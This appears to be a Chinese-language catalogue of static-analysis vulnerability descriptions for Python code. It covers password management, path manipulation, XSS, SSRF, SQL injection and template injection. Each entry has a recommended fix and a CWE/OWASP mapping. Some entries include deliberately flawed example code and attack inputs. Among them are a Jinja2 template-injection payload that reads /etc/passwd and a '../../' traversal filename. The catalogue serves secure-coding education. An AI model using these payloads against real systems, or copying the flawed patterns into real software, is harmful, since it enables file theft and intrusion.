漏洞名称	**Password Management:Null Password**
默认严重性	2.0
摘要	Null password 会损害安全性。

解释	最好不要为密码变量指定 null，因为这可能会使攻击者绕过密码验证，或是表明资源受空密码保护。
	在这种情况下，在对 X（文件） 第 N 行的 XXX（函数） 的调用中会发现 null 密码。
	示例：以下代码可将密码变量初始化为 null，同时尝试在存储的值中读取密码，并将其与用户提供的值进行比较。
	...
	storedPassword = NULL;
	temp = getPassword()
	if (temp is not None) {
	storedPassword = temp;
	}
	if(storedPassword == userPassword) {
	// Access protected resources
	...
	}
	...
	如果 getPassword() 因数据库错误或其他问题而未能检索到存储的密码，则攻击者只需为 userPassword 提供一个 null 值，就能轻松绕过密码检查。

建议	始终从加密的外部资源读取存储的密码值，并为密码变量指定有意义的值。确保从不使用空密码或 null 密码来保护敏感资源。
CWE	CWE ID 259
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Password Management:Password in Comment**
默认严重性	2.0
摘要	以明文形式在系统或系统代码中存储密码或密码详细信息可能会以无法轻松修复的方式危及系统安全。
解释	使用硬编码方式处理密码绝非好方法。在注释中存储密码详细信息等同于对密码进行硬编码。这不仅会使所有项目开发人员都可以查看密码，而且还会使解决这一问题变得极其困难。在代码投入使用之后，密码便会外泄，除非对软件进行修补，否则将无法保护或更改密码。如果受密码保护的帐户遭受入侵，系统所有者将必须在安全性和可用性之间做出选择。 在这种情况下，密码详细信息显示在 X（文件）中第 N 行的注释中。 示例：以下注释指定连接到数据库的默认密码： ... # Default username for database connection is "scott" # Default password for database connection is "tiger" ... 该代码可以正常运行，但是有权访问该代码的任何人都能得到这个密码。一旦程序发布，除非修补该程序，否则可能无法更改数据库用户“scott”和密码“tiger”。雇员可以利用手中掌握的信息访问权限入侵系统。
建议	绝不能对密码进行硬编码。通常情况下，应对密码加以模糊化，并在外部资源文件中进行管理。在系统中采用明文的形式存储密码，会造成任何有充分权限的人读取和无意中误用密码。
CWE	CWE ID 615
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Password Management:Weak Cryptography**
默认严重性	3.0
摘要	调用 XX（函数） 给密码加密并不能提供任何意义上的保护。采用普通的编码方式给密码加密并不能有效地保护密码。
解释	当密码以明文形式存储在应用程序的属性文件或其他配置文件中时，会发生 password management 漏洞。程序员试图通过编码函数来遮蔽密码，以修补 password management 漏洞，例如使用 64 位基址编码方式，但都不能起到充分保护密码的作用。 在这种情况下，密码会通过 X（文件） 中第 N 行的 X（函数） 读取到程序中，并用于访问 Y（文件） 中第 M 行的 Y（函数） 资源。 示例：以下代码可以从属性文件中读取密码，并使用该密码连接到数据库。 ... props = os.open('config.properties') password = base64.b64decode(props[0]) link = MySQLdb.connect (host = "localhost", user = "testuser", passwd = password, db = "test") ... 该代码可以正常运行，但是任何对 config.properties 具有访问权限的人都能读取 password 的值，并且很容易确定这个值是否经过 64 位基址编码。任何心怀不轨的雇员可以利用手中掌握的信息访问权限入侵系统。
建议	绝不能采用明文的形式存储密码。应由管理员在系统启动时输入密码。如果这种方法不切实际，一个安全性较差、但通常都比较恰当的解决办法是将密码模糊化，并把这些去模糊化的资源分散到系统各处，因此，要破译密码，攻击者就必须取得并正确合并多个系统资源。 有些第三方产品宣称可以采用更加安全的方式管理密码。较为安全的解决方法来是采用由用户创建的所有者机制，而这似乎也是如今唯一可行的方法。
CWE	CWE ID 261
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Path Manipulation**
默认严重性	3.0
摘要	攻击者可以控制 X（文件） 中第 N 行的 XX（函数） 文件系统路径参数，借此访问或修改原本受保护的文件。允许用户输入控制文件系统操作所用的路径会导致攻击者能够访问或修改其他受保护的系统资源。
解释	当满足以下两个条件时，就会产生 path manipulation 错误： 1.攻击者能够指定某一文件系统操作中所使用的路径。 2. 攻击者可以通过指定特定资源来获取某种权限，而这种权限在一般情况下是不可能获得的。 例如，在某一程序中，攻击者可以获得特定的权限，以重写指定的文件或是在其控制的配置环境下运行程序。 在这种情况下，攻击者可以指定通过 X（文件） 中第 N 行的 X（函数） 进入程序的值，这一数值可以通过 Y（文件） 中第 M 行的 Y（函数） 访问文件系统资源。 示例 1：以下代码使用来自于 HTTP 请求的输入来创建一个文件名。程序员没有考虑到攻击者可能使用像“../../tomcat/conf/server.xml”一样的文件名，从而导致应用程序删除它自己的配置文件。 rName = req.field('reportName') rFile = os.open("/usr/local/apfr/reports/" + rName) ... os.unlink(rFile); 示例 2：以下代码使用来自于配置文件的输入来决定打开哪个文件，并返回给用户。如果程序以足够的权限运行，且恶意用户能够篡改配置文件，那么他们可以通过程序读取系统中以扩展名 .txt 结尾的任何文件。 ... filename = CONFIG_TXT['sub'] + ".txt"; handle = os.open(filename) print handle ...
建议	防止 Path Manipulation 的最佳方法是采用一些间接手段：创建一个必须由用户选择的合法值的列表。通过这种方法，就不能直接使用用户提供的输入来指定资源名称。 但在某些情况下，这种方法并不可行，因为这样一份合法资源名的列表过于庞大，维护难度过大。因此，在这种情况下，程序员通常会采用执行拒绝列表的办法。在输入之前，拒绝列表会有选择地拒绝或避免潜在的危险字符。但是，任何这样一个列表都不可能是完整的，而且将随着时间的推移而过时。更好的方法是创建一个字符列表，允许其中的字符出现在资源名称中，且只接受完全由这些被认可的字符组成的输入。

返回目录

CWE	CWE ID 22, CWE ID 73
OWASP2017	A5 Broken Access Control

返回目录

漏洞名称	**Path Manipulation:Zip Entry Overwrite**
默认严重性	3.0
摘要	如果调用 X（文件） 第 N 行的 XX（函数），则攻击者将可以在系统上的任何位置随意进行文件写入。允许用户输入控制文件系统操作中使用的路径会导致攻击者能够随意覆盖系统上的文件。

解释	Path Manipulation： 在打开和扩展 ZIP 文件但未检查 ZIP 条目的文件路径时，会出现“ZIP 条目覆盖”错误。
	示例： 以下示例从 ZIP 文件中提取文件并以非安全方式将其写入磁盘。
	import zipfile
	import tarfile
	def unzip(archive_name):
	zf = zipfile.ZipFile(archive_name)
	zf.extractall(".")
	zf.close()
	def untar(archive_name):
	tf = tarfile.TarFile(archive_name)
	tf.extractall(".")
	tf.close()

建议	在解压缩不受信任的 ZIP 文件时，请确保使用安全版本的 ZIP 库（请参见“提示”部分）。
CWE	CWE ID 22, CWE ID 73
OWASP2017	A5 Broken Access Control

返回目录

漏洞名称	**Path Traversal**
默认严重性	4
摘要	X（文件） 文件第 N 行 XXX（方法） 方法从 XX（元素） 元素获取动态数据。然后，此元素的值将传递到代码，并最终在 Y（文件） 文件第 M 行的 YYY（方法） 中用于本地磁盘访问的文件路径中。这可能会导致路径遍历漏洞。
解释	攻击者可能为要使用的应用程序定义任意文件路径，可能导致： 窃取敏感文件，例如配置或系统文件 覆写文件，例如程序二进制文件、配置文件或系统文件 删除关键文件，导致拒绝服务（DoS）攻击。 应用程序使用文件路径中的用户输入访问应用程序服务器本地磁盘上的文件。
建议	理想情况下，应避免依赖动态数据选择文件。 无论来源如何，一概验证所有输入。验证应基于白名单：仅接受符合指定结构的数据，而不是排除不符合要求的模式。检查以下项： 数据类型 大小 范围 格式 预期值 仅接受文件名的动态数据，而不能接受路径和文件夹的数据。 确保文件路径完全规范化。 明确限制应用程序只能使用与应用程序二进制文件夹分开的指定文件夹。 将应用程序的 OS 用户的权限限制为只能使用必要的文件和文件夹。应用程序不应该能够写入应用程序二进制文件夹，也不应该读取应用程序文件夹和数据文件夹之外的任何内容。
CWE	CWE ID 36
OWASP2017	A5-Broken Access Control

返回目录

漏洞名称	**Permissive Content Security Policy**
默认严重性	3
摘要	通过 X（文件） 文件第 N 行 XXX（方法） 方法设置的内容安全策略标头 XX（元素） 过于宽松。
解释	内容安全策略标头要求脚本来源、嵌入的（子）框架、嵌入（父）框架或图像等内容源是当前网页信任和允许的内容来源；如果网页中的内容来源不符合严格的内容安全策略，浏览器会立即拒绝该内容。不按策略执行严格的内容行为会使应用程序的用户容易受到跨站点脚本 (XSS) 攻击、点击劫持攻击、内容伪造攻击等。 现代浏览器使用内容安全策略标头作为可信任内容来源的指示，这包括媒体、图像、脚本、框架等。如果这些策略定义得太广泛，浏览器就难以有效地阻止不可信任的内容。 应用程序代码已经设置了内容安全策略；但是，它设置的策略过于宽松。
建议	根据业务要求和外部文件托管服务的部署布局，为所有适用的策略类型（frame、frame-ancestor、script、form-actions、script、media、img 等）设置内容安全策略标头。特别是不要使用通配符 '*' 来设置这些策略，因为这将允许所有外部来源的内容。 内容安全策略可在 web 应用程序代码中通过 web 服务器配置显式定义，也可在 HTML 页面的 <head> 部分的 <meta> 标记中定义。
CWE	CWE ID 346
OWASP2017	None

返回目录

漏洞名称	**Poor Error Handling:Empty Catch Block**
默认严重性	2.0
摘要	X（文件） 中的 XX（方法） 方法忽略了第 N 行上的一个异常，这可能会导致程序无法发现意外状况和情况。忽略异常会导致程序无法发现意外状况和情况。
解释	几乎每一个对软件系统的严重攻击都是从违反程序员的假设开始的。攻击后，程序员的假设看起来既脆弱又拙劣，但攻击前，许多程序员会在午休时间为自己的种种假设做很好的辩护。 在代码中，很容易发现两个令人怀疑的假设：“一是这个方法调用不可能出错；二是即使出错了，也不会对系统造成什么重要影响。”因此当程序员忽略异常时，这其实就表明了他们是基于上述假设进行的操作。 例 1：下面摘录的代码会忽略一个由 open() 抛出的罕见异常。 try: f = open('myfile.txt') s = f.readline() i = int(s.strip()) except: # This will never happen pass 如果抛出 RareException 异常，程序会继续执行，就像什么都没有发生一样。程序不会记录任何有关这一特殊情况的依据，因而事后再查找这一异常就可能很困难。
建议	至少，应该记录抛出异常的事实，以便于稍后查询及预知对程序运行所造成的影响。然而最好是中止当前操作。如果忽略某个异常的原因是因为调用者无法正确处理该异常，而程序上下文使调用者不便或不可能声明程序会抛出这一异常，那么可以考虑抛出 RuntimeException 或 Error 异常，两者均是未检查的异常。 示例 2：Example 1 中的代码可通过以下方式重写： try: f = open('myfile.txt') s = f.readline() i = int(s.strip()) except IOError as e: logging.error("I/O error({0}): {1}".format(e.errno, e.strerror)) except ValueError: logging.error("Could not convert data to an integer.") except: logging.error("Unexpected error:", sys.exc_info()[0]) raise
CWE	CWE ID 1069

返回目录

OWASP2017	None

返回目录

漏洞名称	**Poor Logging Practice:Use of a System Output Stream**
默认严重性	2.0
摘要	使用 XX（函数） 而不是专门的日志记录工具，会导致难以监控程序运行状况。使用标准输出或标准错误而不是专门的日志记录工具，会导致难以监控程序运行状况。
解释	示例 1：开发人员学习编写的第一个 Python 程序如下所示： print("hello world") 多数程序员深入了解 Python 的许多精妙之处后，有一部分人仍会依赖于这一基础知识，始终使用 print() 或 sys.stdout.write() 编写进行标准输出的消息。 这里的问题是，直接在标准输出流或标准错误流中写入信息通常会作为一种非结构化日志记录形式使用。结构化日志记录系统提供了各种要素，如日志级别、统一的格式、日志标示符、次数统计，而且，可能最重要的是，将日志信息指向正确位置的功能。当系统输出流的使用与正确使用日志记录功能的代码混合在一起时，得出的结果往往是一个保存良好但缺少重要信息的日志。 开发者普遍认为需要使用结构化日志记录，但是很多人在“产前”的软件开发中仍使用系统输出流功能。如果您正在检查的代码是在开发阶段的初期生成的，那么对 sys.stdout 或 sys.stderr 的使用可能会在转向结构化日志记录系统的过程中导致漏洞。
建议	使用 Python 日志记录工具而不是 print、sys.stdout 或 sys.stderr。 示例 2：例如，Example 1 中的“hello world”程序可以使用 logging 模块按以下方式进行重写： import logging logging.debug("hello world")
CWE	CWE ID 398
OWASP2017	None

返回目录

漏洞名称	**Portability Flaw:File Separator**
默认严重性	3.0
摘要	调用第 N 行的 XX（函数） 可能会导致可移植性问题，因为它使用硬编码文件分隔符。使用硬编码文件分隔符会导致可移植性问题。
解释	不同的操作系统使用不同的字符作为文件分隔符。例如，Microsoft Windows 系统使用 "\"，而 UNIX 系统则使用 "/"。应用程序需要在不同的平台上运行时，使用硬编码文件分隔符会导致应用程序逻辑执行错误，并有可能导致 denial of service。 在这种情况下，在 X（文件）中第 N 行的 XXX（函数） 调用中使用了硬编码文件分隔符。 例 1：以下代码使用硬编码文件分隔符来打开文件： ... os.open(directoryName + "\\" + fileName); ...
建议	为编写可移植代码，不应使用硬编码文件分隔符，而应使用语言库提供的独立于平台的 API。 示例 2：以下代码实现的功能与 Example 1 相同，但会使用独立于平台的 API 来指定文件分隔符： ... os.open(os.path.join(directoryName, fileName)); ...
CWE	CWE ID 474
OWASP2017	None

返回目录

漏洞名称	**Privacy Violation**
默认严重性	3.0
摘要	X（文件） 文件会错误地处理第 N 行的机密信息，从而危及到用户的个人隐私，这是一种非法行为。对机密信息（如客户密码或社会保障号码）处理不当会危及用户的个人隐私，这是一种非法行为。
解释	Privacy Violation 会在以下情况下发生： 1. 用户私人信息进入了程序。 在这种情况下，数据来自于 X（文件）中第 N 行的 X（函数）。 2. 数据被写到了一个外部介质，例如控制台、file system 或网络。 在这种情况下，数据将传递到 Y（文件）的第 M 行中的 Y（函数）。 示例 1：以下代码包含了一个日志记录语句，该语句通过在日志文件中存储记录信息跟踪添加到数据库中的各条记录信息。在存储的其他数值中，有一个是 getPassword() 函数的返回值，该函数会返回与该帐户关联且由用户提供的明文密码。 pass = getPassword(); logger.warning('%s: %s %s %s', id, pass, type, tsstamp) Example 1 中的代码会将明文密码记录到应用程序的事件日志中。虽然许多开发人员认为事件日志是存储数据的安全位置，但这不是绝对的，特别是涉及到隐私问题时。 可以通过多种方式将私人数据输入到程序中： — 以密码或个人信息的形式直接从用户处获取 — 由应用程序访问数据库或者其他数据存储形式 — 间接地从合作者或者第三方处获取 有时，某些数据并没有贴上私人数据标签，但在特定的上下文中也有可能成为私人信息。比如，通常认为学生的学号不是私人信息，因为学号中并没有明确而公开的信息用以定位特定学生的个人信息。但是，如果学校用学生的社会保障号码生成学号，那么这时学号应被视为私人信息。 安全和隐私似乎一直是一对矛盾。从安全的角度看，您应该记录所有重要的操作，以便日后可以鉴定那些非法的操作。然而，当其中牵涉到私人数据时，这种做法就存在一定风险了。 虽然私人数据处理不当的方式多种多样，但常见风险来自于盲目信任。程序员通常会信任运行程序的操作环境，因此认为将私人信息存放在文件系统、注册表或者其他本地控制的资源中是值得信任的。尽管已经限制了某些资源的访问权限，但仍无法保证所有访问这些资源的个体都是值得信任的。例如，2004 年，一个不道德的 AOL 员工将大约 9200 万个私有客户电子邮件地址卖给了一个通过垃圾邮件进行营销的境外赌博网站 [1]。

返回目录

	鉴于此类备受瞩目的信息盗取事件，私人信息的收集与管理正日益规范化。要求各个组织应根据其经营地点、所从事的业务类型及其处理的私人数据性质，遵守下列一个或若干个联邦和州的规定: - Safe Harbor Privacy Framework [3] - Gramm-Leach Bliley Act (GLBA) [4] - Health Insurance Portability and Accountability Act (HIPAA) [5] - California SB-1386 [6] 尽管制定了这些规范，Privacy Violation 漏洞仍时有发生。
建议	当安全和隐私的需要发生矛盾时，通常应优先考虑隐私的需要。为满足这一要求，同时又保证信息安全的需要，应在退出程序前清除所有私人信息。 为加强隐私信息的管理，应不断改进保护内部隐私的原则，并严格地加以执行。这一原则应具体说明应用程序应该如何处理各种私人数据。在贵组织受到联邦或者州法律的制约时，应确保您的隐私保护原则尽量与这些法律法规保持一致。即使没有针对贵组织的相应法规，您也应当保护好客户的私人信息，以免失去客户的信任。 保护私人数据的最好做法就是最大程度地减少私人数据的暴露。不应允许应用程序、流程处理以及员工访问任何私人数据，除非是出于职责以内的工作需要。正如最小授权原则一样，不应该授予访问者超出其需求的权限，对私人数据的访问权限应严格限制在尽可能小的范围内。
CWE	CWE ID 359
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Privacy Violation:BREACH**
默认严重性	3.0
摘要	应用程序可能会泄露通过 SSL/TLS 支持的通道传输的 HTTP 响应中所包含的敏感数据。
解释	此类攻击属于旁路攻击，它通过自适应超文本压缩的浏览器进行勘测与渗透 (BREACH)，即使采用 SSL/TLS 通道传输，攻击者还是可以从 HTTP 响应中窃取到敏感信息。目前所有的 SSL/TLS 版本和密码都容易受到这种攻击。如果满足以下三个条件，攻击者就能成功对应用程序执行 BREACH 攻击： 1. 应用程序在响应中传输密钥（例如，反 CSRF 标记）。 2. 应用程序在包含密钥的相同响应中反映用户输入。 3. 配置 Web 服务器以使用 HTTP 压缩。 使用 gzip 压缩的响应大小取决于在其内容中观察到的重复量。因此，字符的重复频率越高，响应就越小。这使攻击者可以使用 HTTP 压缩作为攻击工具，它能指出攻击者通过返回的参数值向应用程序提供的猜测是否正确。如果猜到的字符与密钥中的对应字符一致，则压缩的响应就比较小。攻击者可使用此过程通过对每个请求的压缩率进行分析，逐字符获得整个密钥。 即使应用程序配置为通过安全渠道来提供内容，攻击者也可使用此技术从 HTTP 响应中提取密钥。 要评估应用程序是否容易受到 BREACH 攻击，首先应查看应用程序是否配置为支持 HTTP 压缩。如果是，则对于包含待保护密钥的每个响应，评估其是否包含用户输入。 由于 Django 应用程序配置为使用 CSRF 标记和 GZip 压缩，因此已报告此问题： MIDDLEWARE_CLASSES = (... 'django.middleware.csrf.CsrfViewMiddleware', 'django.middleware.gzip.GZipMiddleware', ...)
建议	采用下面的一个或多个修复方法： 1. 禁用 HTTP 压缩 2. 确保相同的响应内容中不包含用户输入和密钥 3. 对密钥进行随机化 在 Django 应用程序中，避免使用 django.middleware.gzip.GZipMiddleware 中间件。
CWE	CWE ID 310
OWASP2017	A9 Using Components with Known Vulnerabilities

返回目录

漏洞名称	**Python Bad Practices:Leftover Debug Code**
默认严重性	2.0
摘要	类 <Replace key="EnclosingClass.name" /> 包含调试代码，它可以在部署的 Web 应用程序中建立一些意想不到的入口点。调试代码可以在部署的 Web 应用程序中建立一些意想不到的入口点。
解释	在实践中，人们往往为了达到调试和测试代码的目的而输出某些变量的值，同时附带的还有一些本不应提供或保留在正式部署的应用系统中的代码。当这种类型的调试代码意外地留在应用程序中，应用程序可能会在无意间将其泄漏给攻击者。但并不是所有的调试指令都会泄漏敏感或私密信息。然而，调试语句的出现通常意味着附近的代码已被忽略，而且可能处在一种不受维护的状态。
建议	务必在部署应用程序的产品版之前删除调试代码。无论是否存在直接的安全威胁，一旦早期开发阶段结束，就没有任何理由将这样的代码保留在应用程序中。
CWE	CWE ID 489
OWASP2017	None

返回目录

漏洞名称	**ReDoS In Replace**
默认严重性	4
摘要	应用程序使用 X（文件） 文件第 N 行的危险的正则表达模式 XX（元素），以搜索用户输入并与 Y（文件） 文件第 M 行的 YY（元素） 比较。
解释	ReDoS（正则表达式拒绝服务）可以使用复杂的模式来导致拒绝服务攻击（DoS)。对于某些模式，处理时间会按照输入大小呈指数增长。攻击者可以使用这些正则表达式使应用程序花费大量计算时间来处理数据集上的正则表达式，从而导致应用程序挂起。 ReDoS（正则表达式拒绝服务）是一种利用指数级时间最坏情况复杂度的算法复杂性攻击。特别是某些正则表达式——无论是应用程序中经过显式编码的，还是从用户输入中获得并用于搜索文本的——都会导致对某些输入文本进行极高量的处理时。例如，\`(a+)+` 会因长字符串 "aaaaaaaaaaaaaaaaaaaaaaaa!" 的输入而挂起
建议	不要使用输入构造正则表达式。 确保所有硬编码的正则表达式都不会受到 ReDoS 攻击，特别是要确保最坏情况复杂性不会导致应用程序挂起。 尽量避免不必要的复杂表达；编写尽可能简单的正则表达式。
CWE	CWE ID 400
OWASP2017	A9-Using Components with Known Vulnerabilities

返回目录

漏洞名称	**Reflected XSS All Clients**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。 攻击者只需在用户输入 XX（元素） 中提供修改的数据即可更改返回的网页，然后使用 X（文件） 文件第 N 行的 XXX（方法） 方法读取。然后这些输入无需净化即可经代码直接到达输出网页。 这样就可以发起反射跨站点脚本 (XSS) 攻击。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 攻击者可能使用社交工程使用户向网站发送修改的输入，然后在请求的网页中返回。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 注意攻击者可通过修改 URL 或在用户输入或其他请求字段中提交恶意数据来利用此漏洞。
建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。 为应用程序的来源实施内容安全策略 (CSP) 和显式白名单。 为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小 范围 格式

返回目录

	预期值 在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。
CWE	CWE ID 79
OWASP2017	A7-Cross-Site Scripting (XSS)

返回目录

漏洞名称	**Resource Injection**
默认严重性	3.0
摘要	攻击者可以控制 X（文件） 中第 N 行的 XX（函数） 的资源标识符参数，借此访问或修改其他受保护的系统资源。使用用户输入控制资源标识符，借此攻击者可以访问或修改其他受保护的系统资源。
解释	当满足以下两个条件时，就会发生 resource injection： 1. 攻击者可以指定已使用的标识符来访问系统资源。 例如，攻击者可能可以指定用来连接到网络资源的端口号。 2. 攻击者可以通过指定特定资源来获取某种权限，而这种权限在一般情况下是不可能获得的。 例如，程序可能会允许攻击者把敏感信息传输到第三方服务器。 在这种情况下，攻击者可以指定通过 X（文件） 中第 N 行的 X（函数） 进入程序的值，这一数值可以通过 Y（文件） 中第 M 行的 Y（函数） 访问系统资源。 注意：如果资源注入涉及存储在文件系统中的资源，则可以将其报告为名为路径篡改的不同类别。有关这一漏洞的详细信息，请参见 path manipulation 的描述。 示例：下列代码使用从 HTTP 请求中读取的主机名来连接至数据库，该数据库可确定票价。 host=request.GET['host'] dbconn = db.connect(host=host, port=1234, dbname=ticketdb) c = dbconn.cursor() ... result = c.execute('SELECT * FROM pricelist') ... 这种受用户输入影响的资源表明其中的内容可能存在危险。例如，包含如句点、斜杠和反斜杠等特殊字符的数据在与 file system 相作用的方法中使用时，具有很大风险。类似的，对于创建远程结点的函数来说，包含 URL 和 URI 的数据也具有很大风险。
建议	阻止 resource injection 的最佳做法是采用一些间接手段。例如创建一份合法资源名的列表，并且规定用户只能选择其中的文件名。通过这种方法，用户就不能直接由自己来指定资源的名称了。 但在某些情况下，这种方法并不可行，因为这样一份合法资源名的列表过于庞大，维护难度过大。因此，在这种情况下，程序员通常会采用执行拒绝列表的办法。在输入之前，拒绝列表会有选择地拒绝或避免潜在的危险字符。但是，任何这样一个列表都不可能是完整的，而且将随着时间的推移而过时。更好的方法是创建一个字符列表，允许其中的字符出现在资源名称中，且只接受完全由这些被认可的字符组成的输入。
CWE	CWE ID 99

返回目录

OWASP2017	A5 Broken Access Control

返回目录

漏洞名称	**Second Order SQL Injection**
默认严重性	5
摘要	X（文件） 文件第 N 行 XXX（方法） 方法从 XX（元素） 元素获取数据库数据。然后，此元素的值将传递到代码，而不会进行合适的净化或验证，并最终在 Y（文件） 文件第 M 行 YYY（方法） 方法中用于数据库查询。这可能导致二阶 SQL 注入攻击。
解释	攻击者可以直接访问系统的所有数据。攻击者可以窃取系统中存储的敏感信息（例如个人用户详情或信用卡），并可能更改或删除现有数据。 应用程序通过发送文本 SQL 查询与数据库进行通信。应用程序创建查询时只是简单地拼接字符串，包括从数据库获得的数据。因为数据可能是之前从用户输入中获得的，未经过数据类型验证或净化，数据中可能包含数据库也做出同样解释的 SQL 命令。
建议	验证所有来源的数据。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小 范围 格式 预期值 不要使用连接字符串： 使用安全数据库组件，例如存储过程、参数化查询和对象绑定（用于命令和参数）。 还有一种更好的解决方案，就是使用 ORM 库，例如 EntityFramework、Hibernate 或 iBatis。 根据最小权限原则，限制对数据库对象和功能的访问。
CWE	CWE ID 89
OWASP2017	A1-Injection

返回目录

漏洞名称	**Server-Side Request Forgery**
默认严重性	3.0
摘要	第 N 行的函数 XX（函数） 将使用资源 URI 的用户控制数据启动与第三方系统的网络连接。攻击者可以利用此漏洞代表应用程序服务器发送一个请求，因为此请求将自应用程序服务器内部 IP 地址发出。应用程序将使用用户控制的数据启动与第三方系统的连接，以创建资源 URI。
解释	当攻击者可以影响应用程序服务器建立的网络连接时，将会发生 Server-Side Request Forgery。网络连接源自于应用程序服务器内部 IP 地址，因此攻击者将可以使用此连接来避开网络控制，并扫描或攻击没有以其他方式暴露的内部资源。 在这种情况下，X（文件）的第 N 行调用 XXX（函数）。 示例：在下列示例中，攻击者将能够控制服务器连接至的 URL。 url = request.GET['url'] handle = urllib.urlopen(url) 攻击者能否劫持网络连接取决于他可以控制的 URI 的特定部分以及用于建立连接的库。例如，控制 URI 方案将使攻击者可以使用不同于 http 或 https 的协议，类似于下面这样： - up:// - ldap:// - jar:// - gopher:// - mailto:// - ssh2:// - telnet:// - expect:// 攻击者将可以利用劫持的此网络连接执行下列攻击： - 对内联网资源进行端口扫描。 - 避开防火墙。 - 攻击运行于应用程序服务器或内联网上易受攻击的程序。 - 使用 Injection 攻击或 CSRF 攻击内部/外部 Web 应用程序。 - 使用 file:// 方案访问本地文件。 - 在 Windows 系统上，file:// 方案和 UNC 路径可以允许攻击者扫描和访问内部共享。 - 执行 DNS 缓存中毒攻击。
建议	请勿基于用户控制的数据建立网络连接，并要确保请求发送给预期的目的地。如果需要提供用户数据来构建目的地 URI，请采用间接方法：例如创建一份合法资源名的列表，并且规定用户只能选择其中的文件名。通过这种方法，用户就不能直接由自己来指定资源的名称了。

返回目录

	但在某些情况下，这种方法并不可行，因为这样一份合法资源名的列表过于庞大，维护难度过大。因此，在这种情况下，程序员通常会采用执行拒绝列表的办法。在输入之前，拒绝列表会有选择地拒绝或避免潜在的危险字符。但是，任何这样一个列表都不可能是完整的，而且将随着时间的推移而过时。更好的方法是创建一个字符列表，允许其中的字符出现在资源名称中，且只接受完全由这些被认可的字符组成的输入。 此外，如果需要，还要确保用户输入仅用于在目标系统上指定资源，但 URI 方案、主机和端口由应用程序控制。这样就可以大大减小攻击者能够造成的损害。
CWE	CWE ID 918
OWASP2017	A5 Broken Access Control

返回目录

漏洞名称	**Server-Side Template Injection**
默认严重性	4.0
摘要	调用 X（文件） 中第 N 行的 XX（函数） 会将用户控制的数据作为模板引擎的模板进行评估，这使得攻击者能够访问模板上下文，并在某些情况下在应用程序服务器中注入和运行任意代码。用户控制的数据用作模板引擎的模板，使得攻击者能够访问模板上下文，并在某些情况下在应用程序服务器中注入和运行任意代码。

解释	模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并通过模板设置格式，以生成 Web 页面、电子邮件等。模板引擎可通过条件、循环等代码构造处理上下文数据，从而允许在模板中使用功能强大的语言表达式来呈现动态内容。如果攻击者能够控制要呈现的模板，他们将能够通过注入表达式来公开上下文数据，甚至在服务器上运行任意命令。
	示例 1：以下示例显示了如何从 HTTP 请求中检索模板并使用 Jinja2 模板引擎呈现该模板。
	from django.http import HttpResponse
	from jinja2 import Template as Jinja2_Template
	from jinja2 import Environment, DictLoader, escape
	def process_request(request):
	  # Load the template
	  template = request.GET['template']
	  t = Jinja2_Template(template)
	  name = source(request.GET['name'])
	  # Render the template with the context data
	  html = t.render(name=escape(name))
	  return HttpResponse(html)
	Example 1 使用 Jinja2 作为模板引擎。对于该引擎，攻击者可以提交以下模板以从服务器中读取任意文件：
	template={{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
	示例 2：以下示例显示了如何从 HTTP 请求中检索模板并使用 Django 模板引擎呈现该模板。
	from django.http import HttpResponse
	from django.template import Template, Context, Engine
	def process_request(request):
	  # Load the template
	  template = source(request.GET['template'])
	  t = Template(template)
	  user = {"name": "John", "secret":getToken()}
	  ctx = Context(locals())
	  html = t.render(ctx)
	  return HttpResponse(html)

返回目录

	Example 2 使用 Django 作为模板引擎。对于该引擎，攻击者将无法执行任意命令，但他们能够访问模板上下文中的所有对象。在此示例中，上下文中存在密钥标记，该密钥标记可能会被攻击者泄露。
建议	尽可能不要让用户提供模板。如果需要由用户提供模板，请谨慎执行输入验证，以防止在模板中注入恶意代码。
CWE	CWE ID 95
OWASP2017	A1 Injection

返回目录

漏洞名称	**Setting Manipulation**
默认严重性	3.0
摘要	攻击者可以控制 X（文件） 中第 N 行的 XX（函数） 的一个参数，从而导致服务中断或意外的应用程序行为。允许对系统设置进行外部控制可以导致服务中断或意外的应用程序行为。
